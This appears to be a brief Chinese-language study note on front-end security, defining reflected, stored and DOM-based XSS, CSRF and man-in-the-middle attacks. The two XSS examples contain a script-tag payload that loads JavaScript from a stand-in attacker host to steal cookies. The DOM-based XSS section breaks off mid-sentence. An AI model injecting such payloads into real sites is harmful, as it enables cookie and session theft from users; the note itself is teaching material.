前端安全
1. XSS (跨站脚本攻击)
攻击者利用网站漏洞将代码注入到其他用户浏览器
1.1 反射型(非持久性)
攻击者通过在 URL
插入恶意代码,其他用户访问该恶意链接时,服务端在 URL
取出恶意代码后拼接至 HTML
中返回给用户浏览器
- 通过
URL
插入恶意代码 - 有服务端参与
- 需要用户访问特定链接
举个栗子:
攻击者诱导被害者打开链接olumel.top?name=<script src="http://a.com/attack.js"/>
, 如果未经处理直接把 name
字段拼接到前端模板中,就在被害者不知情的情况下执行了攻击者注入的脚本(可以通过此方式获取Cookie
等信息)
1.2 存储型(持久性)
攻击者将注入型脚本提交到被攻击的数据库中,这样其他用户浏览数据时,就可以获取到服务器返回的注入脚本并执行
- 恶意代码存储在服务器中
- 有服务端参与
- 只要用户访问了被注入恶意脚本的地址就会被攻击
举个栗子:
攻击者在目标留言板中提交了<script src="http://a.com/attack.js"/>
,目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过innerHTML
渲染到页面中,其他用户访问留言数据时,就会自动执行恶意脚本
1.3 DOM 型
攻击者通过在 URL
2. CSRF (跨站请求伪造)
攻击者可以在用户不知情的情况下,窃用其身份在对应的网站进行操作
3. 中间人攻击(MITM)
攻击者与通讯的两端分别创建独立的联系,在通讯中充当一个中间人角色对数据进行监听、拦截甚至篡改